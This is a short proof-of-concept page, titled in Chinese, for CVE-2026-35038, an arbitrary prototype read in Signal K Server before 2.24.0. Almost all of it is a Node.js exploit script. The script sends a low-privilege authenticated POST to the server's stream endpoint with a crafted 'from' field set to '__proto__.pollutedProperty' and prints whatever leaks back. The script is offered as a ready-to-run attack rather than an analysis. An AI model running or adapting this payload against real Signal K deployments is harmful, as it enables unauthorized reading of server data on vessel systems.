CVE-2026-35038 Signal K Server 任意原型读取漏洞

// Proof of Concept for CVE-2026-35038 // Target: Signal K Server < 2.24.0 // Description: Arbitrary prototype read via 'from' field bypass // The vulnerability allows reading from the global prototype. // An attacker with low privileges sends a request with a crafted 'from' field. const fetch = require('node-fetch'); async function exploit() { const targetUrl = 'http://target-signalk-server:3000/signalk/v1/stream'; const authToken = 'LOW_PRIVILEGE_TOKEN_HERE'; // Requires valid low-priv token // Malicious payload attempting to read from Object.prototype const payload = { "context": "vessels.self", "subscribe": [ { "path": "navigation", "period": 1000 } ], // The 'from' field is the vector that bypasses filtering "from": "__proto__.pollutedProperty" }; try { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${authToken}` }, body: JSON.stringify(payload) }); const data = await response.text(); console.log('Response:', data); // If successful, the response may contain properties leaked from the prototype chain. } catch (error) { console.error('Exploit failed:', error); } } exploit();